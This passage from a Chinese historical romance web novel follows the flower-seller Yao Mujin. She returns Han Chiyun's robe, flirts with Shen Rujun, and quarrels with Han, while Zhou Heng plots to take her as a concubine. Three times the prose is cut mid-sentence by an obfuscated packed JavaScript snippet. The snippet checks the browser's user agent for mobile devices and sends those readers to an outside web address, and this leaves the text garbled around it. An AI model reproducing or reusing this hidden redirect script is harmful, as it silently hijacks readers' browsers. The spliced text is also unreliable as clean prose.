姚木槿刚要张口喊“三哥”,不提防眼角余光一瞥,突然发现邻居家的门开着一条缝,内里探出小半个脑袋,正在偷看程厌劈柴,看得十分入神,连路上有人来了都不知道。 这是她的右邻。 姚家左边住着王大顺一家四口,右边则住着一对儿卖炊饼的夫妇。他家男人姓叶,夫妻二人原有四个孩子,可惜后来殁了两个,现下只剩一双姐弟。姐姐名唤叶二娘,正是十七八岁情窦初开的年纪。因家里穷,置办不出像样的嫁妆,且叶家夫妇疼爱女儿,不想将她随随便便就嫁了,故而至今尚未议亲。 姚木槿瞧见叶二娘在偷看程厌,先是惊愕地瞪大了眼睛,而后“扑哧”一声便笑了出来。 叶二娘听见人笑,一扭头,这才发现姚木槿正看着自己,霎时便将一张俏脸涨得通红,躲在门后又是摆手又是作揖,恳求姚木槿千万别声张。 姚木槿掩口偷笑,笑得眼睛眯成一条缝,冲着叶二娘比了个手势,意思是:放心吧,我不说。 叶二娘羞红了脸,低着头,慢慢关上房门。 “三哥!我回来了!”姚木槿挑着花担,无事人一样,脚步轻盈地边走边唤道。 听到唤声,程厌这才抬起头来,笑道:“今日回来得早。” “我今天做成了一笔大买卖,足足多赚了六百文!” 姚木槿得意洋洋地说着,推开屋门,将花担放去后院角落处,又顺手从面盆架上扯了一块布巾,出门递给程厌,道:“擦擦汗。这大热天的,怎得又买柴给我?我这柴禾够用呢。快进屋歇着。” 程厌接过布巾,将脖颈、臂膀上的汗珠尽皆抹去,捡起扔在一旁的裋褐穿上,又将劈好的柴禾抱去后院垒齐整,这才进屋坐了。 “这会子怎么得空过来?”姚木槿倒了杯清凉饮子放在程厌面前,问他。 “今晚轮我值夜,白日可以稍歇一歇。之后几日我都要上望火楼值守,没空过来,就想着给你买些柴,帮你劈好,你用的时候省力。”程厌答道。 潜火兵负责整个临安府的防火事宜,可谓职责重大。从早到晚十二个时辰,防隅官屋和街面的望火楼内皆要安排兵卒值守,凡遇火情立刻出动,耽误不得。 姚木槿听说程厌又要上望火楼,便像只小蝴蝶似的抬手转圈,拜了个夸张的万福,道一声“三哥辛苦”。程厌被她逗笑,笑着摇了摇头。 “你说的是什么大买卖?”程厌想起姚木槿刚才说自己平白多赚了六百文,遂问道。 姚木槿兴高采烈地从随身筭袋中摸出一吊钱,在程厌眼前晃了晃:“你猜我在西湖遇见谁了?” “谁?” “韩迟云!这些钱全是从他那儿诓来的!” 姚木槿兴致勃勃对程厌说起,自己今天是怎么将三十文一枝的蓝莲花以翻了一倍的价格卖给韩迟云这事,边说边笑,笑容比门外的阳光还要明艳。 程厌却没笑,只板着脸坐在那儿听着,待姚木槿说完,冷声问道:“他让你陪酒了?” 姚木槿一愣,原本不想提周恒那茬,但眼见程厌已知晓自己喝了酒,且又误会了韩迟云,没奈何,只得将自己如何陪周恒喝酒之事说了,又说周恒答应给顾沾沾雇个女使。 听完她的话,程厌的脸色非但没有好转,反而愈加凛冽。他攥起拳头一拳砸在桌案上,恨声道:“那姓周的,迟早有一天要他好看!” 姚木槿笑着在程厌肩头推了一下,道:“不说他了,没得让人扫兴。你等着,我去拿钱匣。” 话毕,她提起裙摆“噔噔噔”地往二楼跑去,不过片刻便怀抱三只小木匣走了下来。 姚木槿将三只木匣放在桌上,一字排开,又把自己今日赚得的所有钱仔细数了一遍,刨去本金,净赚八百文。 她手脚麻利地将这八百文钱分做四份: 第一份是三百文,留待日常开销以及买花本钱,用绳子将之重新穿好放在一旁。 第二份也是三百文,是她为程厌攒的老婆本,留待程厌娶妇时使用,放进第一个木匣里。 第三份是一百文,是她为顾沾沾肚里的孩子攒的,留待日后给孩子,放进第二个木匣。 第四份亦是一百文,是她给自己和二哥庾岭攒的路费,为的是将来能离开临安回家乡。 其实姚木槿并没有家乡。她一个弃婴,不仅不知父母及生辰,甚至连自己姓甚名谁都不知道,又哪能知晓家乡何在。 这所谓的家乡,其实是庾岭的。 庾岭的家乡在赣(gàn)州。赣州属于江南西路,原名虔州,高宗绍兴二十三年的时候,因觉“虔”字不吉利,遂更名为赣州。 庾岭是早产儿,未足月便生了下来,故而从小就身体不好,病厄不断。他的母亲在生他的时候不幸染了产褥热,不久便离开人世;父亲是当地乡村私塾的一位塾师,束脩不多,但勉强可供父子二人生活。 大约在庾岭六岁那年,家乡闹瘟疫,村镇中有许多人都拖家带口逃往外乡,彼时庾岭的父亲也带着儿子往北跑,一口气跑到了位于两浙西路的临安府。 哪知才到临安落了脚,庾岭的父亲却也身染重疾,没过多久便撒手尘寰,剩下年仅六岁的孩子,被人送进了慈幼局。 庾岭在慈幼局认识了姚木槿,爱上了姚木槿,娶了姚木槿。再后来,他丢下姚木槿自己走了。 庾岭对家乡赣州的感情很深,总是对姚木槿说起自己的家乡,说那里橙黄橘绿,青山秀水。 又说有位姓辛的老大人曾在那里写过一首悲美壮丽的《菩萨蛮》,他一句一句教姚木槿唱: “郁孤台下清江水,中间多少行人泪。西北望长安,可怜无数山。” 姚木槿没有家乡,但天长日久听庾岭说他的家乡,再加上嫁鸡随鸡嫁狗随狗的想法,渐渐地,姚木槿也把赣州当成了自己的家乡。 庾岭死的时候希望姚木槿能将他的骨灰送回赣州,姚木槿答应了。 她这人最是仗义,答应的事就一定会尽全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298772|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力做到,故而“与二哥一同归乡”便成了姚木槿心头甚为惦念之事。 程厌看着姚木槿乐呵呵地数钱,心里却很不是滋味,好半晌之后终低声说:“若是那姓韩的能对你好,也许做妾也不是坏事。……韩家有钱有势,吃穿不愁,至少能让你不再过这种苦日子。” 姚木槿手上数钱的动作没停,口中却说:“做不了啦,他那人古板得很,他说他不纳妾,这辈子只有他发妻一人。” 听闻此语,程厌眼中突然闪过一道似喜似惊的光,慌忙问道:“你不去韩家了?!” 孰料姚木槿却狡猾地笑了起来:“去啊,当然去。你是不晓得,我那天在他面前一哭二闹三上吊,费了好大力气才说服他允我进相府。不过不是给他做妾,而是给他的伴当。他那伴当名叫沈如钧,说是相府西宾之子,也是个读书人。我瞧着很不错,就答应了。” 程厌没再说话,眼中也没了刚才的辉光,只端起面前那碗清凉饮子闷闷地喝着。 这是姚木槿亲手煮的清凉饮子,夏日喝来最好,解暑消烦,清心止渴。虽然用的都是很便宜的药材,譬如桑叶、竹叶、忍冬之类,但程厌却觉得比茶楼里卖的十文钱一碗的香饮子更好喝。 微苦的味道从唇舌漫延至肺腑,佐着姚木槿明媚的笑颜,程厌忽然觉得鼻子发酸,眼睛也疼得很。 他只是个俸禄微薄的潜火兵,大字不识几个,一辈子也就这样了。可姚木槿是天底下最好的姑娘,程厌想,他配不上她,她合该有更好的去处。无论韩迟云还是沈如钧,都比他好,比他强。他这辈子就做她的三哥,做她的娘家兄弟,倘若有人欺负她,他便替她出头,为她撑腰,这就足够了。 程厌仰头将碗中清凉饮子一口气喝干,放下碗,起身说道:“时辰不早,我该走了。你把钱匣锁进柜里锁好,夜里睡觉前记得把门窗都落闩,别贪凉开着窗户。不怕贼偷就怕贼惦记,万一给人盯上就麻烦了。我已经跟清湖堰的军巡铺屋打过招呼,他们会着重留意这边。你记着有事就去喊我。” 他这边絮絮叨叨地交待着,那边姚木槿托腮看着他,笑答道:“晓得啦,你去吧。” 程厌走后,姚木槿将门窗落了闩,又换了身衣裳,打算先小睡一会儿,等到傍晚时分再拿上二十文钱去夜市买一大碗馎饦吃——她是个馋丫头,对穿衣打扮并不讲究,日常大部分开销都花在了吃食上。 哪知才走进内室,入眼便是一抹雾山蓝,姚木槿长长地叹了口气——真麻烦,韩迟云的衣裳还在她这儿呢。 姚木槿拎过衣裳铺在床榻上,一点一点将之折好,又找了块包袱皮把衣裳包进去,打算明天一早就去相府还给韩迟云。 可也不知为什么,一想到要去相府给韩迟云还衣裳,姚木槿就没来由地紧张起来,一颗心怦怦怦地乱跳。 她不想见到他,她心里有些怕,怕见到他。 虽然连她自己都不知道自己究竟在怕什么,但就是觉得心里慌得很,像东西南北的风一齐往心窍里吹,没个准头,也没个定数,呜呜咽咽地,把什么爱啊恨啊全搅成一锅粥。 这种慌乱感,每见韩迟云一次,便会多一分。 ——她不喜欢这种不受控制的感觉。 正在心烦意乱之时,姚木槿突然想起那天沈如钧送她离府前说过的话。他说,正对着皇城司有一道小门可以直通西跨院,无须经过相府,还说她可以随时去找他。 姚木槿一拍脑袋,对啊,她明天去西跨院把衣裳拿给沈如钧不就行了,这样不就不用见到韩迟云了嘛! “好,就这么决定了。”姚木槿美滋滋地说。 14.调笑 次日清早,姚木槿仍像往常一样,天不亮就挑着花担去了东马塍。这回可长了记性,那劳什子的蓝莲花是一枝也没要,只拿了些紫薇和栀子。 装好花担,她便一路向南走,由余杭门进城,沿着街巷一路走一路叫卖。今日拿的花枝本就不多,故而不到未时就全部卖掉。 卖完了花,姚木槿先去了善履坊顾沾沾那儿,把顾沾沾做的热乎菜美美地大吃一顿。因她自己的衣裳惹了花泥,便又借了妹妹的干净衣裳换好,这才准备去找沈如钧。 “小啾,莫急走。”顾沾沾拉住换好衣裳的姚木槿,将她扯回妆奁前。 “怎么?” “我给你把头发篦一篦,都毛糙了。” 顾沾沾说着便执起篦子为姚木槿梳头,末了还拿出自己的桂花头油,仔仔细细抹在姚木槿的头发上。 妹妹的手又软又细,捏着篦子梳过发丝,姚木槿舒服得眯起眼睛,似快要睡去。 梳完了头,顾沾沾却仍觉不满意,复摆出自己的胭脂水粉,为姚木槿绘了个极其柔美的檀晕妆;紧接着又是一通翻箱倒柜,找出一朵芍药象生花,非要给姚木槿戴上。 “我不戴这个,太华贵了。”姚木槿推拒道。 “戴着,听我的,”顾沾沾却态度强硬,“一歇歇去相府,莫叫人看轻了。” “我走后门进去,相府的人根本见不着我。”姚木槿满不在乎地说。 顾沾沾却扁了扁嘴,嫌弃道:“旁的人见不见得着又有何关系,关键是沈官人见得着。你不是要去找他?你就蓬头垢面的去哦,你让他心里怎么想?” 姚木槿拗不过,最终只得任由顾沾沾捯饬。一番梳妆打扮过后已是晌午大错之时,姚木槿忙不迭拎起装了衣裳的小包袱,匆匆离开顾家。 好在善履坊距离相府并不远,只须沿着街巷一路向东,过了丰乐桥便是五圣庙,再往东走不多久,这便瞧见路左边是皇城司,右边是相府。相府后墙果然开着一扇供仆役们办事出入的小门,门外闲坐两名阍侍,正百无聊赖地打盹。 姚木槿上前与那二位阍侍道了声万福,并说自己是来寻沈如钧的。 其中一人引着姚木槿进门,指了指右手边一条夹道:“娘子且往前去,前面就是沈官人的屋子。” 姚木槿谢罢,这便沿着夹道向前,穿过月洞门,果然见到一个没有倒座的三合小院。院中站着一位十七八岁的妙龄女子,正拎着一把洒壶浇花,见她来了便问道:“你是何人?” “我姓姚,来寻沈官人。” 话音刚落便见正屋的帘子被人掀开,沈如钧步出房门,笑道:“鄙人不知姚娘子到来,有失远迎。蒹葭,斟茶。” 这院子中央置有一方石桌,其畔四个石墩。沈如钧边说话边向着石桌打了个手势:“姚娘子,请坐吧。” 姚木槿笑着落座:“沈官人上次说我可以随时来找你,我这便来了。” 沈如钧也笑道:“娘子一来,蓬荜生辉。” 二人正说着话,那位名唤蒹葭的女使已将两盏粗茶端了过来。 沈如钧复又吩咐:“你去灶房要两盘果子。就说我这边来客人了,我要待客。” 蒹葭噘着嘴,嘟哝道:“又让我去讨没趣儿呢,上次不过是去要一碗蒸蛋,一个两个都阴阳怪气的。那些人全是势利眼,大官人吩咐的话,他们连个屁都不敢放,见了咱们就开始说三道四,一个个狗眼看人低,等将来官人你考中状元做了大官,把他们全部抓起来一顿好打……” 蒹葭话还没说完,就被沈如钧截住了话头:“行了行了,快去吧,犯不着和那些人计较。” 不过是三言两句,姚木槿却听出来了,这沈如钧在相府里的日子也许是不太好过。想想也对,他一个无权无势的读书人,借住于这样的膏粱贵胄之家——人在屋檐下,哪能不低头呢? 姚木槿捧起茶盏慢慢抿着,心里忽然对沈如钧生起一丝惋惜之情,只觉这样好的君子却要受人轻视、遭人白眼,实在不是滋味。她眯起眼睛向对方看去,可午后的阳光太过刺眼,什么都没看清。 沈如钧这院子里并无可以遮阴的树木,杭城夏日骄阳似火,二人所坐之处正正地被太阳晒着,简直晒得头晕脑胀。 沈如钧见姚木槿眯着眼睛,不好意思地笑了笑,道:“若是姚娘子不介意,不如移步书房说话,那里倒是凉爽些。外面日头太毒,晒久了恐会晒出病来。” 姚木槿对那些叽叽歪歪的男女大防之说向来是不在乎的,此刻她巴不得赶紧找个凉快地儿躲一躲,于是便随着沈如钧进了书房。 书房的陈设十分简单:靠窗一张书桌,桌前一把官帽椅,桌上摆着笔墨纸砚及两个黑漆书奁;倚墙放置一面盝顶方柜,柜旁随意扔着两把小杌子。 沈如钧将那张官帽椅摆出来请姚木槿坐了,他自己则倚着书桌,站在窗前。窗非支摘窗,而是两扇二抹头槛窗,窗扇向外开着。 “上回在迟云那儿,娘子说愿意给鄙人做妾,不知这话是否当真?”沈如钧忽然问道。 姚木槿不提防他突然提起这事,愣了一下才答:“自然当真。只不知沈官人打算何时接奴家入府?” “我已修书一封,托人带回泰州交予家严。信内已将此事原原本本告知清楚,只待家严同意,我便立刻将娘子接来。” “若是家中大娘子不同意呢?”姚木槿忽然想起沈如钧在原籍的妻。 “不用管她,她做不得主。”沈如钧答道。 说这话时,沈如钧抱臂站在窗牖前,因背着光,面上是一片黑黢黢的阴影,看不清表情如何,但声音却是温和的,甚至于太过温和,反而显出一种不易察觉的冷漠。 这冷漠让姚木槿隐隐有些不舒服,于是换了个话题:“奴家昨日在西湖卖花,恰好遇见韩官人在湖上宴饮,不知沈官人为何没去?” 沈如钧笑答:“我本也是要去的,只是临时受了些风寒,不好饮酒,又怕扫了大家的兴致,故而只能躲在家中读些闲书。” 听沈如钧说自己病了,姚木槿急忙问道:“可要紧么?” “已经好多了。” 姚木槿暼了一眼书桌上摊开的书册和凌乱的纸笔,柔声劝道:“生病了就该好生歇着才对,怎还这般辛苦读书?读书最是耗费心血,越读身子越差。” 沈如钧转身将桌上散落的笔墨纸砚诸物收拾好,边收边笑道:“家中二老还等着我光耀门楣呢。明春礼部试,我若再次名落孙山,那可就彻底没脸见人了。我又不像迟云有门荫,我没有那么厉害的伯父和家世,便只能闷头读书,自己给自己挣个前程。” 依旧是温和的嗓音,只是这回并不显冷漠,倒显得楚楚可怜,似为着不公平的出身而哀愁。 听闻此语,姚木槿再坐不住,起身安慰道:“沈官人如此用功,定能金榜题名!奴家知道一个小庙,可灵验了。待明春开考前,奴家去替沈官人拜一拜,求菩萨保佑,一定能成。” “姚娘子生得貌美,心地又如此善良。你愿意给我做妾,真是我三生修来的福气。”沈如钧近前一步,低声说。 姚木槿被他夸得不好意思,赶紧给他夸回去:“我今日见沈官人如此读书上进,亦觉踏实不少。我是个孤女,无父无母,亦无旁的亲眷……沈官人是好人,我很安心。” 沈如钧轻笑一声,转头向窗外看去,哪知只看了一眼便立刻收回目光,突然移了移身子,挡在了姚木槿与窗牖之间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307387|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姚木槿是侧对窗牖,并未发觉窗外有何不妥,只以为沈如钧是被太阳晒到了,于是也移了移身子,好让对方站得舒服些。 “姚娘子,你觉得我好还是迟云好?”沈如钧压低声音问道。 姚木槿被这个突然向她抛来的奇怪问题问得措手不及,张了张口,却不知该如何回答。 沈如钧摆手笑道:“是我唐突,让娘子为难。我不过是个塾师之子,哪能跟别人相比。” 此刻二人之间距离很近,沈如钧的声音也很低,低得让人差点儿没听清他说什么。 姚木槿抬头看向沈如钧,发现他虽然在笑,可笑容里却有种凄凄凉凉的感觉,再加上他话里的自哀,这让姚木槿忍不住心生怜悯。 她不忍他难过,遂定声说道:“沈官人快别这样说,若与韩官人相比,自然是你更胜一筹。” “哦?”沈如钧眼前一亮,追问道,“我比他好在何处?” “他那人,又古板又迂腐,没意思得很。沈官人不一样。沈官人总是笑着,让人心生亲近。单说相处言笑,你就比他好多了。” 姚木槿知道自己口是心非。 其实韩迟云没她说得那么无趣,他古板是古板,但却很有意思。他干净得像月亮倒映于水面,而她则像个拿着竹竿乱拨水中月的顽童。她忍不住想要逗弄他,尤其喜欢看他板着脸却压不住面颊飞红的模样,她心里总是痒痒的、叮叮咚咚的。 可这些话没必要对沈如钧说,再加上她很快就要成为沈如钧的妾室,纵使她只是为了那一千贯决定“暂时”做他的妾,但说点甜言蜜语讨好一下眼前这男人,当然是有百利而无一害。 果然,沈如钧听了姚木槿的话,面上显出十分满意的神情。 “娘子一直拎着这包袱,不知内中所置何物?”沈如钧指着姚木槿手中的包袱问道。 姚木槿“哎哟”一声,这才想起自己今日因何来此,忙将包袱塞进沈如钧手中,道:“这是韩官人的衣裳,上回不小心落在奴家那里,奴家拿来还他。还请沈官人代为转交。” 沈如钧眉头轻皱:“迟云的衣裳为何会落在娘子那儿?” 问完这话他又立刻补充道:“娘子莫恼,我并无责怪娘子之意,只是这么一问。” 姚木槿不知该怎么解释她和韩迟云之间发生的事,只得敷衍道:“当时奴家生病,韩官人怕奴家冷,所以就……” 沈如钧却突然笑了起来:“我见娘子一直抱着这包袱,宝贝似的,还以为这里面是娘子为我缝的衣裳,却原来是我自作多情了。” 姚木槿被沈如钧说得心头蓦然升起一阵愧意,赶紧顺着他的话就坡下驴: “奴家虽然女红做得不好,但若是官人不嫌弃,奴家回去就为官人缝个荷包,过几日给官人送来。” “正好我的荷包坏了,想换个新的。那就一言为定?”沈如钧笑道。 “一言为定。” 二人又说笑了两句闲话,姚木槿瞧着天色不早,这便打算告辞离去。 “我送你出府,帮你雇顶轿子。”沈如钧说着牵起姚木槿的手,牵着她往书房门口走去。 “不用了,我先去我妹妹那儿,与她一起吃过夕食,再慢慢走回去就行。” 姚木槿想把手缩回来,哪知沈如钧却牵得更紧,劝道:“莫走那么多路,当心把脚走坏。将来你跟着我,我可不要你忙忙碌碌。你只须享福便好。” 他的手掌温热,话语亦是关切温柔,姚木槿心头一暖,便没再缩手,任由对方牵着。 哪知一走出房门她却倏然愣住——只见韩迟云就站在门外,也不知站了多久,面色凄白如霜,拳头却像攥着一块生铁那般,攥得死紧。 15.醋意 韩迟云和周恒曾是国子监(国子学)同斋,但二人并没什么交情。 韩迟云清高,不屑与周恒那种花天酒地的纨绔为伍,可周恒却总想巴结韩迟云——毕竟韩家在临安府的地位贵不可言,没有人会不想攀一攀。 昨日的西湖宴饮是周恒做东,辗转托了沈如钧出面相邀,韩迟云看在自己伴当的面子上,这才答应了。谁知宴饮前一天,沈如钧却偶感风寒,是以,当日便没陪韩迟云一起赴宴。 韩迟云从西湖回来之后,心里惦记着沈如钧的病情,原想把蒹葭叫来问问,可巧这日午后恰好无事,也不知算不算鬼使神差,他竟决定亲自去一趟西跨院。 这一去可好,不仅看见姚木槿和沈如钧站在窗前,一幅郎情妾意画面,还听到了那二人调笑的话。 “若与韩官人相比,自然是你更胜一筹。”姚木槿柔声说。 “沈官人总是笑着,让人心生亲近。单说相处言笑,你就比他好多了。”姚木槿含羞带怯地说。 “若是官人不嫌弃,奴家回去就为官人缝个荷包,过几日给官人送来。”姚木槿不仅甜言蜜语,甚至还要亲手为对方绣荷包。 韩迟云站在窗外,一双幽深眸子一眨不眨地盯着窗牖内笑得像花儿一样的女子。 她没穿平日里那袭粗布衣裙,而是换了件花草缘边白罗衫,内搭一条茜色抹胸。不仅如此,她还绘了个漂亮的檀晕妆,头发梳得又齐又亮,甚至鬓边还戴着一朵华贵的芍药象生花——她遍身光彩,明艳得几乎有些刺目。 看到这样的姚木槿正与别的男人调笑,韩迟云也不知自己是怎么了,心头突然荡起一股无法言说的躁乱,裂山掀海一般。 这躁乱紧紧勒着他,将他勒得容色煞白,口中泛起酸苦。 正在进也不是、退也不是的时候,房门忽然打开,姚木槿被沈如钧牵着手走了出来。韩迟云的眸光触在那二人相牵的手上,面上又落了一场大雪。 姚木槿陡然看到韩迟云,亦是怔愣,尚不知如何开口,倒是沈如钧先说话了:“迟云,怎么不进屋?我只顾着与木槿说话,竟不知你来了。” 韩迟云攥着自己的衣袖,深吸一口气:“我来探病,你可好些?” “已无大碍,难为你惦记着。木槿今日来看我,我看到她,病就好了大半。”沈如钧笑着扭头去看姚木槿,可姚木槿却没笑。 她忽然想起昨日在西湖画舫,韩迟云问她:“人怎么能水性杨花至如此地步?” 彼时的误会尚未全然厘清,今日又被对方看到她被别的男人牵着手……姚木槿莫名有些失措,于是不动声色地将手从沈如钧手中挣了出来。 她迎着韩迟云的目光看过去,发现他也在看她。 四目相对,韩迟云眸如点漆,内中却弥漫着一大片委屈与凄怨。如此美的一双眼,竟在夏日天光之下变得又哀又冷。 “无碍便好。”韩迟云收回目光,淡淡地丢下这么一句,再没说别的,转身就离开了西跨院。 他从头到尾没和她说一句话,惟有眼神,消磨着彼此。 看着韩迟云离去的背影,那样孤高清傲,姚木槿突然觉得有些气恼。明明是他把自己丢给沈如钧做妾,此事三方皆已讲定,现在他又摆出这幅模样,算什么?算自己欠他的吗?他凭什么?! 所幸她从来不是个有气只敢自己憋着的人,她泼辣大胆,谁给她气受,她必要当面锣对面鼓与那人掰扯掰扯。 思至此,姚木槿丢下沈如钧,三步并作两步向着韩迟云离开的方向追了过去。 她今日必须与他说清楚,她并未做出格之事,不过是与自己未来的郎君说笑几句,这也不行么?这算哪门子的规矩?! “韩官人,且等一等。”姚木槿追在韩迟云身后跑出了西跨院。 韩迟云停下脚步,回头看着她,面容淡漠,眸子里仍是铺满了疏离和哀怨,像琉璃珠,冷冰冰的。 这眼神看得姚木槿心头一股无名火起——究竟是什么意思?他还哀怨上了? “奴家今日来此,其实是为了归还前些日子韩官人落在奴家那儿的衣裳。您是贵人事忙,奴家便将衣裳交给沈官人代为转交,还望韩官人莫要误会。”姚木槿努力压下心头火气,向韩迟云郑重地解释道。 韩迟云神色凉薄,只淡淡地说了句“随你”,而后便转身继续向前行去。 姚木槿紧追两步,张开双臂拦在韩迟云身前,彻底将对方的去路拦住,冷笑道:“韩官人这是心里不痛快呢?您有话可以直说,犯不着给人摆脸色。” 瞧着姚木槿唇畔冷笑,韩迟云心头那股难以明言的躁动愈发明显,这感觉弄得他浑身僵硬,下颌紧绷,心也一搐一搐地乱跳着。 他定定地看着面前这个率性大胆的女子,良久,终于启唇道:“好,那我便有话直说。姚娘子,你贪图钱财,水性杨花。如此种种行径,终不是良家妇人之正道,我奉劝你一句,烈女嫠节,淑质贞亮……” “呵,”姚木槿被韩迟云的四字词语弄得脑壳疼,不待对方说完,再次发出一声冷笑,“我就是爱财,那又怎样?我不仅爱财,我还爱长得俊的男人。沈官人好看,我喜欢看,如何?碍着你了么?难不成你也觉得沈官人好看,你也想看?你要是也喜欢他,我不介意咱仨一起啊。” 最后一句话甫一脱口,韩迟云的面色已经不是“煞白如雪”可以形容。但见其容颜霎时凛如冰锥,额角青筋突突地跳着,呼吸急促,像是拼尽全身力气才控制住内心的愀然。 “简直是一派胡言!”韩迟云面上肌肉颤抖,咬牙斥道。 姚木槿却已经压不住自己的泼辣脾气:“韩官人清高,瞧不起我,还要管我与旁的男人说笑……你怎么管这么宽呢?难不成韩官人是喝黄河水长大的——管得宽?” 说完这句,她未等韩迟云答话,突然面带讥嘲,道: “不对,我倒忘了,韩官人喝不到黄河水。黄河在金国哗啦啦地流呢,早就已经不属于咱们大宋了。你们这些所谓的大人君子,素日吃香的喝辣的,却只知道享乐。你们身居高位,却从来没有血勇和骨气,也从来没有为黎民百姓着想过。” 姚木槿狠狠跺了跺脚。 之所以说这些话,盖因她想到慈幼局的新任局丞就是韩家的亲戚。那人贪婪又无能,根本不管慈幼局的孤儿如何饥寒交迫,只想着怎么给自己捞钱。 就是这样的无能鼠辈,仅是靠着与韩家的关系,便能稳稳地坐在局丞的位置上。呵,这些做官的人,说来说去不过是蛇鼠一窝罢了。 转瞬又想起那天在花厅,韩迟云义正辞严地对她讲述忠贞之义,其它话姚木槿皆是左耳进右耳出,偏巧其中有两句她却记得清楚。 姚木槿回忆着那两句话,继续愤慨地说: “韩官人曾对奴家说过——临危不变曰忠,身正心安曰贞。可你们这些富贵人,究竟有没有做到‘临危不变’,有没有做到‘身正心安’,你们自己最清楚。” 她仗着自己嘴皮子利索,连珠炮似的把心里那些早就积攒下来的怨气发泄一通。这些因世道不公和贪官污吏而产生的委屈,已压在她心头许久,许久。 “韩官人还是先管好自己,再管不相干的人。官人既然看不上我,那就少来妨碍我。” 甩下这最后一句话,姚木槿也没管韩迟云如何气得面色凛白,只管自顾自地拔腿跑了。 直到跑过西跨院,又穿过府内那条长长的夹道,确定韩迟云并没有派人追赶她,她这才以手抚膺舒了口气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318227|198150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 刚才实在怒火上涌,说话时靠得是一腔血勇,说完了才知道怂。 姚木槿生怕韩迟云回过神来之后给自己治个出言不逊之罪,三十六计走为上计,赶紧跑路才是。 她也没敢再回西跨院去向沈如钧告辞,只慌慌张张地从来时那道后门离开了相府。 * 就在姚木槿与韩迟云起争执的当口,位于善履坊的顾家,顾沾沾却终于盼来了已是许久不曾出现的周恒。 “这些日子我一直被家中琐事纠缠,没顾得上来看你。沾沾,你可是在埋怨我?”周恒将顾沾沾拥入怀里,与其耳鬓厮磨着。 顾沾沾性子温软,原本对周恒就是惦念胜于责怪,再加上前几日又吃了周家大娘子的耳光,这会子看到周恒于百忙之中抽空来看自己,心里自是欢喜,哪有半句微词。 周恒看着顾沾沾小鸟依人之态,颇为得意,片刻后他状似不经意地问道:“你那姐夫已过世多年,你姐姐就没想过改嫁?” 顾沾沾听周恒突然提起姚木槿,疑惑地抬头看向他。 周恒又道:“昨儿我在西湖偶遇你姐姐,见她出落得愈发好了,着实是个风情万种的美人儿。回去后,我辗转反侧一整夜,想着不若将她也置为外室,让你们姊妹做个伴,你看好不好?” “不好!”顾沾沾想也没想脱口答道。 她心里蓦然生了气恼。这男人糟践了自己还不够,还想糟践自己最好的姊妹。她有怨,却有怨无处诉。 周恒将眉头一拧,冷声质问:“有何不好?!” “因为……小啾,她……”顾沾沾到底太过软弱,心头气恼瞬间就被周恒冷下来的态度吓没了,磕磕绊绊地向他解释,“她已经有人家了。” “哪家?何时的事?” 顾沾沾见对方追问不休,这便竹筒倒豆子似的将这段时日发生的事尽皆告知:先说了魏国夫人想让姚木槿去伺候韩迟云,可韩迟云却拒不纳妾;又说姚木槿为着那一千贯对韩迟云纠缠不休,韩迟云没办法,将她甩给了自己的伴当沈如钧。 “沈官人温文尔雅,已答应接小啾入府。” 周恒听完此语,嗤之以鼻:“沈如钧算个屁!他不过是韩家的奴仆,哪比得上我。” 话毕,他抬手抚摸着顾沾沾微微隆起的小腹,堆起满面笑意:“沾沾,你帮我好生劝劝你姐姐。她跟着那姓沈的下人有什么前途,倒不如跟着我。我们周家虽比不上韩家,但我父兄亦皆垂朱拖紫之人,仕途经济于我而言也不过手到擒来。她跟了我,我必不会亏待她……” 周恒在那边自吹自擂,顾沾沾却低头抿唇,一语不发。 周恒见自己费了半天口沫,怀中女子却像块木头似的,正待发火,忽地眼珠子一转,又有馊主意爬上心头。 “若是我能得到你姐姐,我就将你姊妹二人都接回家去,让你在家中正正经经做个小姨娘,你看如何?”他凑在顾沾沾耳畔,慢条斯理地说。 顾沾沾猛然瞪大了眼睛:“……官人要接奴回家?” 接她回家做小姨娘这事,顾沾沾从前也不是没对周恒提过,尤其是怀孕之后,她很想给自己的孩子挣个前程。可周恒每次都是支支吾吾,搪塞着说等孩子生下来,若是男孩再做打算。 顾沾沾知道,周恒畏惧家中“河东狮吼”,想开荤又不敢放肆,只敢将她安置在外,如小兔子般玩弄。 若是从前也便罢了,可如今她已怀了孩子。依大宋律法,妾室亦有具名婚契,其子女在家中是有好处的;可若是仍作外室,那么她和她的孩子就永远只是一片灰、一把土,是这世间可有可无的存在。 此刻,顾沾沾听周恒说只要能得到姚木槿,就将她们姊妹二人一起接回家,不由得心尖欻然一颤。 16.算计 周恒对姚木槿,大抵可谓是见色起意。 